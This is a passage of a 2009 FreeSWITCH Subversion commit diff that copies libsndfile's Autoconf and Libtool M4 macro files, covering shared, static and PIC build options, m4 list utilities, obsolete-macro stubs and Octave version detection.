+
+test -z "$AS" && AS=as
+_LT_DECL([], [AS],      [0], [Assembler program])dnl
+
+test -z "$DLLTOOL" && DLLTOOL=dlltool
+_LT_DECL([], [DLLTOOL], [0], [DLL creation program])dnl
+
+test -z "$OBJDUMP" && OBJDUMP=objdump
+_LT_DECL([], [OBJDUMP], [0], [Object dumper program])dnl
+])# win32-dll
+
+AU_DEFUN([AC_LIBTOOL_WIN32_DLL],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+_LT_SET_OPTION([LT_INIT], [win32-dll])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `win32-dll' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_WIN32_DLL], [])
+
+
+# _LT_ENABLE_SHARED([DEFAULT])
+# ----------------------------
+# implement the --enable-shared flag, and supports the `shared' and
+# `disable-shared' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_SHARED],
+[m4_define([_LT_ENABLE_SHARED_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([shared],
+    [AS_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
+	[build shared libraries @<:@default=]_LT_ENABLE_SHARED_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_shared=yes ;;
+    no) enable_shared=no ;;
+    *)
+      enable_shared=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_shared=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_shared=]_LT_ENABLE_SHARED_DEFAULT)
+
+    _LT_DECL([build_libtool_libs], [enable_shared], [0],
+	[Whether or not to build shared libraries])
+])# _LT_ENABLE_SHARED
+
+LT_OPTION_DEFINE([LT_INIT], [shared], [_LT_ENABLE_SHARED([yes])])
+LT_OPTION_DEFINE([LT_INIT], [disable-shared], [_LT_ENABLE_SHARED([no])])
+
+# Old names:
+AC_DEFUN([AC_ENABLE_SHARED],
+[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[shared])
+])
+
+AC_DEFUN([AC_DISABLE_SHARED],
+[_LT_SET_OPTION([LT_INIT], [disable-shared])
+])
+
+AU_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)])
+AU_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AM_ENABLE_SHARED], [])
+dnl AC_DEFUN([AM_DISABLE_SHARED], [])
+
+
+
+# _LT_ENABLE_STATIC([DEFAULT])
+# ----------------------------
+# implement the --enable-static flag, and support the `static' and
+# `disable-static' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_STATIC],
+[m4_define([_LT_ENABLE_STATIC_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([static],
+    [AS_HELP_STRING([--enable-static@<:@=PKGS@:>@],
+	[build static libraries @<:@default=]_LT_ENABLE_STATIC_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_static=yes ;;
+    no) enable_static=no ;;
+    *)
+     enable_static=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_static=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_static=]_LT_ENABLE_STATIC_DEFAULT)
+
+    _LT_DECL([build_old_libs], [enable_static], [0],
+	[Whether or not to build static libraries])
+])# _LT_ENABLE_STATIC
+
+LT_OPTION_DEFINE([LT_INIT], [static], [_LT_ENABLE_STATIC([yes])])
+LT_OPTION_DEFINE([LT_INIT], [disable-static], [_LT_ENABLE_STATIC([no])])
+
+# Old names:
+AC_DEFUN([AC_ENABLE_STATIC],
+[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[static])
+])
+
+AC_DEFUN([AC_DISABLE_STATIC],
+[_LT_SET_OPTION([LT_INIT], [disable-static])
+])
+
+AU_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)])
+AU_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AM_ENABLE_STATIC], [])
+dnl AC_DEFUN([AM_DISABLE_STATIC], [])
+
+
+
+# _LT_ENABLE_FAST_INSTALL([DEFAULT])
+# ----------------------------------
+# implement the --enable-fast-install flag, and support the `fast-install'
+# and `disable-fast-install' LT_INIT options.
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+m4_define([_LT_ENABLE_FAST_INSTALL],
+[m4_define([_LT_ENABLE_FAST_INSTALL_DEFAULT], [m4_if($1, no, no, yes)])dnl
+AC_ARG_ENABLE([fast-install],
+    [AS_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@],
+    [optimize for fast installation @<:@default=]_LT_ENABLE_FAST_INSTALL_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_fast_install=yes ;;
+    no) enable_fast_install=no ;;
+    *)
+      enable_fast_install=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_fast_install=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_fast_install=]_LT_ENABLE_FAST_INSTALL_DEFAULT)
+
+_LT_DECL([fast_install], [enable_fast_install], [0],
+	 [Whether or not to optimize for fast installation])dnl
+])# _LT_ENABLE_FAST_INSTALL
+
+LT_OPTION_DEFINE([LT_INIT], [fast-install], [_LT_ENABLE_FAST_INSTALL([yes])])
+LT_OPTION_DEFINE([LT_INIT], [disable-fast-install], [_LT_ENABLE_FAST_INSTALL([no])])
+
+# Old names:
+AU_DEFUN([AC_ENABLE_FAST_INSTALL],
+[_LT_SET_OPTION([LT_INIT], m4_if([$1], [no], [disable-])[fast-install])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `fast-install' option into LT_INIT's first parameter.])
+])
+
+AU_DEFUN([AC_DISABLE_FAST_INSTALL],
+[_LT_SET_OPTION([LT_INIT], [disable-fast-install])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you put
+the `disable-fast-install' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], [])
+dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], [])
+
+
+# _LT_WITH_PIC([MODE])
+# --------------------
+# implement the --with-pic flag, and support the `pic-only' and `no-pic'
+# LT_INIT options.
+# MODE is either `yes' or `no'.  If omitted, it defaults to `both'.
+m4_define([_LT_WITH_PIC],
+[AC_ARG_WITH([pic],
+    [AS_HELP_STRING([--with-pic],
+	[try to use only PIC/non-PIC objects @<:@default=use both@:>@])],
+    [pic_mode="$withval"],
+    [pic_mode=default])
+
+test -z "$pic_mode" && pic_mode=m4_default([$1], [default])
+
+_LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl
+])# _LT_WITH_PIC
+
+LT_OPTION_DEFINE([LT_INIT], [pic-only], [_LT_WITH_PIC([yes])])
+LT_OPTION_DEFINE([LT_INIT], [no-pic], [_LT_WITH_PIC([no])])
+
+# Old name:
+AU_DEFUN([AC_LIBTOOL_PICMODE],
+[_LT_SET_OPTION([LT_INIT], [pic-only])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `pic-only' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_PICMODE], [])
+
+## ----------------- ##
+## LTDL_INIT Options ##
+## ----------------- ##
+
+m4_define([_LTDL_MODE], [])
+LT_OPTION_DEFINE([LTDL_INIT], [nonrecursive],
+		 [m4_define([_LTDL_MODE], [nonrecursive])])
+LT_OPTION_DEFINE([LTDL_INIT], [recursive],
+		 [m4_define([_LTDL_MODE], [recursive])])
+LT_OPTION_DEFINE([LTDL_INIT], [subproject],
+		 [m4_define([_LTDL_MODE], [subproject])])
+
+m4_define([_LTDL_TYPE], [])
+LT_OPTION_DEFINE([LTDL_INIT], [installable],
+		 [m4_define([_LTDL_TYPE], [installable])])
+LT_OPTION_DEFINE([LTDL_INIT], [convenience],
+		 [m4_define([_LTDL_TYPE], [convenience])])

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/ltsugar.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/ltsugar.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/ltsugar.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/ltsugar.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/ltsugar.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+# ltsugar.m4 -- libtool m4 base layer.                         -*-Autoconf-*-
+#
+# Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc.
+# Written by Gary V. Vaughan, 2004
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# serial 6 ltsugar.m4
+
+# This is to help aclocal find these macros, as it can't see m4_define.
+AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])])
+
+
+# lt_join(SEP, ARG1, [ARG2...])
+# -----------------------------
+# Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their
+# associated separator.
+# Needed until we can rely on m4_join from Autoconf 2.62, since all earlier
+# versions in m4sugar had bugs.
+m4_define([lt_join],
+[m4_if([$#], [1], [],
+       [$#], [2], [[$2]],
+       [m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])])
+m4_define([_lt_join],
+[m4_if([$#$2], [2], [],
+       [m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])])
+
+
+# lt_car(LIST)
+# lt_cdr(LIST)
+# ------------
+# Manipulate m4 lists.
+# These macros are necessary as long as will still need to support
+# Autoconf-2.59 which quotes differently.
+m4_define([lt_car], [[$1]])
+m4_define([lt_cdr],
+[m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])],
+       [$#], 1, [],
+       [m4_dquote(m4_shift($@))])])
+m4_define([lt_unquote], $1)
+
+
+# lt_append(MACRO-NAME, STRING, [SEPARATOR])
+# ------------------------------------------
+# Redefine MACRO-NAME to hold its former content plus `SEPARATOR'`STRING'.
+# Note that neither SEPARATOR nor STRING are expanded; they are appended
+# to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked).
+# No SEPARATOR is output if MACRO-NAME was previously undefined (different
+# than defined and empty).
+#
+# This macro is needed until we can rely on Autoconf 2.62, since earlier
+# versions of m4sugar mistakenly expanded SEPARATOR but not STRING.
+m4_define([lt_append],
+[m4_define([$1],
+	   m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])])
+
+
+
+# lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...])
+# ----------------------------------------------------------
+# Produce a SEP delimited list of all paired combinations of elements of
+# PREFIX-LIST with SUFFIX1 through SUFFIXn.  Each element of the list
+# has the form PREFIXmINFIXSUFFIXn.
+# Needed until we can rely on m4_combine added in Autoconf 2.62.
+m4_define([lt_combine],
+[m4_if(m4_eval([$# > 3]), [1],
+       [m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl
+[[m4_foreach([_Lt_prefix], [$2],
+	     [m4_foreach([_Lt_suffix],
+		]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[,
+	[_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])])
+
+
+# lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ])
+# -----------------------------------------------------------------------
+# Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited
+# by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ.
+m4_define([lt_if_append_uniq],
+[m4_ifdef([$1],
+	  [m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1],
+		 [lt_append([$1], [$2], [$3])$4],
+		 [$5])],
+	  [lt_append([$1], [$2], [$3])$4])])
+
+
+# lt_dict_add(DICT, KEY, VALUE)
+# -----------------------------
+m4_define([lt_dict_add],
+[m4_define([$1($2)], [$3])])
+
+
+# lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE)
+# --------------------------------------------
+m4_define([lt_dict_add_subkey],
+[m4_define([$1($2:$3)], [$4])])
+
+
+# lt_dict_fetch(DICT, KEY, [SUBKEY])
+# ----------------------------------
+m4_define([lt_dict_fetch],
+[m4_ifval([$3],
+	m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]),
+    m4_ifdef([$1($2)], [m4_defn([$1($2)])]))])
+
+
+# lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE])
+# -----------------------------------------------------------------
+m4_define([lt_if_dict_fetch],
+[m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4],
+	[$5],
+    [$6])])
+
+
+# lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...])
+# --------------------------------------------------------------
+m4_define([lt_dict_filter],
+[m4_if([$5], [], [],
+  [lt_join(m4_quote(m4_default([$4], [[, ]])),
+           lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]),
+		      [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl
+])

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/ltversion.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/ltversion.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/ltversion.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/ltversion.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/ltversion.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+# ltversion.m4 -- version numbers			-*- Autoconf -*-
+#
+#   Copyright (C) 2004 Free Software Foundation, Inc.
+#   Written by Scott James Remnant, 2004
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# Generated from ltversion.in.
+
+# serial 3012 ltversion.m4
+# This file is part of GNU Libtool
+
+m4_define([LT_PACKAGE_VERSION], [2.2.6])
+m4_define([LT_PACKAGE_REVISION], [1.3012])
+
+AC_DEFUN([LTVERSION_VERSION],
+[macro_version='2.2.6'
+macro_revision='1.3012'
+_LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
+_LT_DECL(, macro_revision, 0)
+])

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/lt~obsolete.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/lt~obsolete.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/lt~obsolete.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/lt~obsolete.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/lt~obsolete.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+# lt~obsolete.m4 -- aclocal satisfying obsolete definitions.    -*-Autoconf-*-
+#
+#   Copyright (C) 2004, 2005, 2007 Free Software Foundation, Inc.
+#   Written by Scott James Remnant, 2004.
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# serial 4 lt~obsolete.m4
+
+# These exist entirely to fool aclocal when bootstrapping libtool.
+#
+# In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN)
+# which have later been changed to m4_define as they aren't part of the
+# exported API, or moved to Autoconf or Automake where they belong.
+#
+# The trouble is, aclocal is a bit thick.  It'll see the old AC_DEFUN
+# in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us
+# using a macro with the same name in our local m4/libtool.m4 it'll
+# pull the old libtool.m4 in (it doesn't see our shiny new m4_define
+# and doesn't know about Autoconf macros at all.)
+#
+# So we provide this file, which has a silly filename so it's always
+# included after everything else.  This provides aclocal with the
+# AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything
+# because those macros already exist, or will be overwritten later.
+# We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6. 
+#
+# Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here.
+# Yes, that means every name once taken will need to remain here until
+# we give up compatibility with versions before 1.7, at which point
+# we need to keep only those names which we still refer to.
+
+# This is to help aclocal find these macros, as it can't see m4_define.
+AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])])
+
+m4_ifndef([AC_LIBTOOL_LINKER_OPTION],	[AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])])
+m4_ifndef([AC_PROG_EGREP],		[AC_DEFUN([AC_PROG_EGREP])])
+m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH],	[AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])])
+m4_ifndef([_LT_AC_SHELL_INIT],		[AC_DEFUN([_LT_AC_SHELL_INIT])])
+m4_ifndef([_LT_AC_SYS_LIBPATH_AIX],	[AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])])
+m4_ifndef([_LT_PROG_LTMAIN],		[AC_DEFUN([_LT_PROG_LTMAIN])])
+m4_ifndef([_LT_AC_TAGVAR],		[AC_DEFUN([_LT_AC_TAGVAR])])
+m4_ifndef([AC_LTDL_ENABLE_INSTALL],	[AC_DEFUN([AC_LTDL_ENABLE_INSTALL])])
+m4_ifndef([AC_LTDL_PREOPEN],		[AC_DEFUN([AC_LTDL_PREOPEN])])
+m4_ifndef([_LT_AC_SYS_COMPILER],	[AC_DEFUN([_LT_AC_SYS_COMPILER])])
+m4_ifndef([_LT_AC_LOCK],		[AC_DEFUN([_LT_AC_LOCK])])
+m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE],	[AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])])
+m4_ifndef([_LT_AC_TRY_DLOPEN_SELF],	[AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])])
+m4_ifndef([AC_LIBTOOL_PROG_CC_C_O],	[AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])])
+m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])])
+m4_ifndef([AC_LIBTOOL_OBJDIR],		[AC_DEFUN([AC_LIBTOOL_OBJDIR])])
+m4_ifndef([AC_LTDL_OBJDIR],		[AC_DEFUN([AC_LTDL_OBJDIR])])
+m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])])
+m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP],	[AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])])
+m4_ifndef([AC_PATH_MAGIC],		[AC_DEFUN([AC_PATH_MAGIC])])
+m4_ifndef([AC_PROG_LD_GNU],		[AC_DEFUN([AC_PROG_LD_GNU])])
+m4_ifndef([AC_PROG_LD_RELOAD_FLAG],	[AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])])
+m4_ifndef([AC_DEPLIBS_CHECK_METHOD],	[AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])])
+m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])])
+m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])])
+m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])])
+m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS],	[AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])])
+m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP],	[AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])])
+m4_ifndef([LT_AC_PROG_EGREP],		[AC_DEFUN([LT_AC_PROG_EGREP])])
+m4_ifndef([LT_AC_PROG_SED],		[AC_DEFUN([LT_AC_PROG_SED])])
+m4_ifndef([_LT_CC_BASENAME],		[AC_DEFUN([_LT_CC_BASENAME])])
+m4_ifndef([_LT_COMPILER_BOILERPLATE],	[AC_DEFUN([_LT_COMPILER_BOILERPLATE])])
+m4_ifndef([_LT_LINKER_BOILERPLATE],	[AC_DEFUN([_LT_LINKER_BOILERPLATE])])
+m4_ifndef([_AC_PROG_LIBTOOL],		[AC_DEFUN([_AC_PROG_LIBTOOL])])
+m4_ifndef([AC_LIBTOOL_SETUP],		[AC_DEFUN([AC_LIBTOOL_SETUP])])
+m4_ifndef([_LT_AC_CHECK_DLFCN],		[AC_DEFUN([_LT_AC_CHECK_DLFCN])])
+m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER],	[AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])])
+m4_ifndef([_LT_AC_TAGCONFIG],		[AC_DEFUN([_LT_AC_TAGCONFIG])])
+m4_ifndef([AC_DISABLE_FAST_INSTALL],	[AC_DEFUN([AC_DISABLE_FAST_INSTALL])])
+m4_ifndef([_LT_AC_LANG_CXX],		[AC_DEFUN([_LT_AC_LANG_CXX])])
+m4_ifndef([_LT_AC_LANG_F77],		[AC_DEFUN([_LT_AC_LANG_F77])])
+m4_ifndef([_LT_AC_LANG_GCJ],		[AC_DEFUN([_LT_AC_LANG_GCJ])])
+m4_ifndef([AC_LIBTOOL_RC],		[AC_DEFUN([AC_LIBTOOL_RC])])
+m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG],	[AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])])
+m4_ifndef([_LT_AC_LANG_C_CONFIG],	[AC_DEFUN([_LT_AC_LANG_C_CONFIG])])
+m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG],	[AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])])
+m4_ifndef([_LT_AC_LANG_CXX_CONFIG],	[AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])])
+m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG],	[AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])])
+m4_ifndef([_LT_AC_LANG_F77_CONFIG],	[AC_DEFUN([_LT_AC_LANG_F77_CONFIG])])
+m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG],	[AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])])
+m4_ifndef([_LT_AC_LANG_GCJ_CONFIG],	[AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])])
+m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG],	[AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])])
+m4_ifndef([_LT_AC_LANG_RC_CONFIG],	[AC_DEFUN([_LT_AC_LANG_RC_CONFIG])])
+m4_ifndef([AC_LIBTOOL_CONFIG],		[AC_DEFUN([AC_LIBTOOL_CONFIG])])
+m4_ifndef([_LT_AC_FILE_LTDLL_C],	[AC_DEFUN([_LT_AC_FILE_LTDLL_C])])

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/mkoctfile_version.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/mkoctfile_version.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/mkoctfile_version.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/mkoctfile_version.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/mkoctfile_version.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+dnl @synopsis AC_MKOCTFILE_VERSION
+dnl
+dnl Find the version of mkoctfile.
+dnl @version 1.0	Aug 23 2007
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+
+AC_DEFUN([AC_MKOCTFILE_VERSION],
+[
+
+
+AC_ARG_WITH(mkoctfile,
+	AC_HELP_STRING([--with-mkoctfile], [choose the mkoctfile version]),
+	[ with_mkoctfile=$withval ])
+
+test -z "$with_mkoctfile" && with_mkoctfile=mkoctfile
+
+AC_CHECK_PROG(HAVE_MKOCTFILE,$with_mkoctfile,yes,no)
+
+if test "x$ac_cv_prog_HAVE_MKOCTFILE" = "xyes" ; then
+	MKOCTFILE=$with_mkoctfile
+
+	AC_MSG_CHECKING([for version of $MKOCTFILE])
+	MKOCTFILE_VERSION=`$with_mkoctfile --version 2>&1 | sed 's/mkoctfile, version //g'`
+	AC_MSG_RESULT($MKOCTFILE_VERSION)
+	fi
+
+AC_SUBST(MKOCTFILE)
+AC_SUBST(MKOCTFILE_VERSION)
+
+])# AC_MKOCTFILE_VERSION
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/octave.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/octave.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/octave.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/octave.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/octave.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+dnl Evaluate an expression in octave
+dnl
+dnl OCTAVE_EVAL(expr,var) -> var=expr
+dnl
+dnl Stolen from octave-forge
+
+AC_DEFUN([OCTAVE_EVAL],
+[
+AC_MSG_CHECKING([for $1 in $OCTAVE])
+$2=`TERM=;$OCTAVE -qfH --eval "disp($1)"`
+AC_MSG_RESULT($$2)
+AC_SUBST($2)
+]) # OCTAVE_EVAL
+
+dnl @synopsis AC_OCTAVE_VERSION
+dnl
+dnl Find the version of Octave.
+dnl @version 1.0	Aug 23 2007
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+
+AC_DEFUN([AC_OCTAVE_VERSION],
+[
+
+AC_ARG_WITH(octave,
+	AC_HELP_STRING([--with-octave], [choose the octave version]),
+	[ with_octave=$withval ])
+
+test -z "$with_octave" && with_octave=octave
+
+AC_CHECK_PROG(HAVE_OCTAVE,$with_octave,yes,no)
+
+if test "x$ac_cv_prog_HAVE_OCTAVE" = "xyes" ; then
+	OCTAVE=$with_octave
+	OCTAVE_EVAL(OCTAVE_VERSION,OCTAVE_VERSION)
+	fi
+
+AC_SUBST(OCTAVE)
+AC_SUBST(OCTAVE_VERSION)
+
+])# AC_OCTAVE_VERSION
+
+dnl @synopsis AC_OCTAVE_CONFIG_VERSION
+dnl
+dnl Find the version of Octave.
+dnl @version 1.0	Aug 23 2007
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+
+AC_DEFUN([AC_OCTAVE_CONFIG_VERSION],
+[
+
+AC_ARG_WITH(octave-config,
+	AC_HELP_STRING([--with-octave-config], [choose the octave-config version]),
+	[ with_octave_config=$withval ])
+
+test -z "$with_octave_config" && with_octave_config=octave-config
+
+AC_CHECK_PROG(HAVE_OCTAVE_CONFIG,$with_octave_config,yes,no)
+
+if test "x$ac_cv_prog_HAVE_OCTAVE_CONFIG" = "xyes" ; then
+	OCTAVE_CONFIG=$with_octave_config
+	AC_MSG_CHECKING([for version of $OCTAVE_CONFIG])
+	OCTAVE_CONFIG_VERSION=`$OCTAVE_CONFIG --version`
+	AC_MSG_RESULT($OCTAVE_CONFIG_VERSION)
+	fi
+
+AC_SUBST(OCTAVE_CONFIG)
+AC_SUBST(OCTAVE_CONFIG_VERSION)
+
+])# AC_OCTAVE_CONFIG_VERSION
+
+dnl @synopsis AC_OCTAVE_BUILD
+dnl
+dnl Check programs and headers required for building octave plugins.
+dnl @version 1.0	Aug 23 2007
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any
